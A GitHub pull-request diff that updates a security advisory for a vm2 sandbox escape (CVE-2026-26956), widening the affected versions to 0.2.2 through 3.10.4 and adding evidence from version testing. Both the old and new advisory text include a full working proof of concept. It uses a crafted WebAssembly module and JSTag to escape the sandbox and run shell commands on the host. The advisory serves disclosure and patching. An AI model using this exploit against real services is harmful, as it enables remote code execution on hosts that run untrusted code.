Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-ffh4-j6h5-pg66",
"modified": "2026-05-05T16:44:16Z",
"modified": "2026-05-05T16:44:18Z",
"published": "2026-05-05T16:44:16Z",
"aliases": [
"CVE-2026-26956"
],
"summary": "VM2 Has a WASM Sandbox Escape (Node 25 only)",
"details": "## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n const before = typeof process;\n\n const err = new Error(\"x\");\n err.name = Symbol();\n\n const wasm = new Uint8Array([\n 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n 0x02,0x19,0x02,\n 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n 0x03,0x02,0x01,0x01,\n 0x07,0x0f,0x01,\n 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n 0x0a,0x12,0x01,0x10,0x00,\n 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n ]);\n\n const instance = new WebAssembly.Instance(\n new WebAssembly.Module(wasm),\n { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n );\n\n const hostError = instance.exports.catch_error();\n const p = hostError.constructor.constructor(\"return process\")();\n const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n const log = p.mainModule.require(\"console\").log;\n log(\"\");\n log(\"process before escape:\", before);\n log(\"process after escape: \", typeof p);\n log(\"host pid: \", p.pid);\n log(\"host node version: \", p.version);\n log(\"RCE: \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape: object\nhost pid: 217\nhost node version: v25.6.1\nRCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)",
"summary": "VM2 Has a WASM Sandbox Escape (any Node.js with WebAssembly JSTag, ≥ v24)",
"details": "## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Affected vm2 versions:** `>= 0.2.2, < 3.10.5` (every release that exports the `VM` class up\nto and including 3.10.4 — empirically reproduced; see \"Affected range evidence\" below).\nReleases prior to 0.2.2 do not export `VM` and are not affected.\n**First patched:** vm2 3.10.5\n**Originally reported on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Any Node.js runtime that exposes `WebAssembly.JSTag`. `WebAssembly.JSTag` is part of\nthe standard WebAssembly Exception Handling proposal (stage 4, in V8 since 11.9) and is enabled\nby default in Node.js 24, 25, and 26. Empirically confirmed exploitable on Node.js v24.15.0;\nexpected on every newer release until/unless vm2 is upgraded to ≥ 3.10.5.\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## Affected range evidence\n\nThe fix shipped in [vm2 v3.10.5](https://github.com/patriksimek/vm2/releases/tag/v3.10.5) is a\nsingle additive line in `lib/setup-sandbox.js`:\n\n localReflectDeleteProperty(WebAssembly, 'JSTag');\n\nThat deletion does not exist in 3.10.4 — but it also does not exist in 3.10.3, 3.10.0, 3.9.x,\n3.0.0, or any earlier release. Every pre-3.10.5 version exposes the unsanitized\n`WebAssembly.JSTag` to sandboxed code.\n\nRunning the PoC above (byte-identical Wasm module) on Node.js v24.15.0 against every loadable\nhistorical vm2 release:\n\n| Outcome | Count | Versions |\n|------------------------------------|-------|-----------------------------------------------------|\n| **Sandbox escape succeeded** | **66**| 0.2.2 → 3.10.4 (every release in this range) |\n| Patched (escape blocked, expected) | 4 | 3.10.5, 3.11.0, 3.11.1, 3.11.2 |\n| Out of scope (no `VM` class) | 4 | 0.1.0, 0.1.1, 0.2.0, 0.2.1 — predate the sandbox API|\n\nThe fixed versions act as a clean negative control: the same exploit fails with\n`WebAssembly.Instance(): Import #1 \"js\" \"tag\" tag must be a WebAssembly.Tag` once `JSTag` is\ndeleted, which is exactly what the fix intends. The four out-of-scope releases do not export\n`VM` at all — the vulnerable surface did not yet exist — so they are not part of the affected\nrange.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n const before = typeof process;\n\n const err = new Error(\"x\");\n err.name = Symbol();\n\n const wasm = new Uint8Array([\n 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n 0x02,0x19,0x02,\n 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n 0x03,0x02,0x01,0x01,\n 0x07,0x0f,0x01,\n 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n 0x0a,0x12,0x01,0x10,0x00,\n 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n ]);\n\n const instance = new WebAssembly.Instance(\n new WebAssembly.Module(wasm),\n { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n );\n\n const hostError = instance.exports.catch_error();\n const p = hostError.constructor.constructor(\"return process\")();\n const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n const log = p.mainModule.require(\"console\").log;\n log(\"\");\n log(\"process before escape:\", before);\n log(\"process after escape: \", typeof p);\n log(\"host pid: \", p.pid);\n log(\"host node version: \", p.version);\n log(\"RCE: \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape: object\nhost pid: 217\nhost node version: v25.6.1\nRCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -25,16 +25,13 @@
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.10.4"
"introduced": "0.2.2"
},
{
"fixed": "3.10.5"
}
]
}
],
"versions": [
"3.10.4"
]
}
],
Expand Down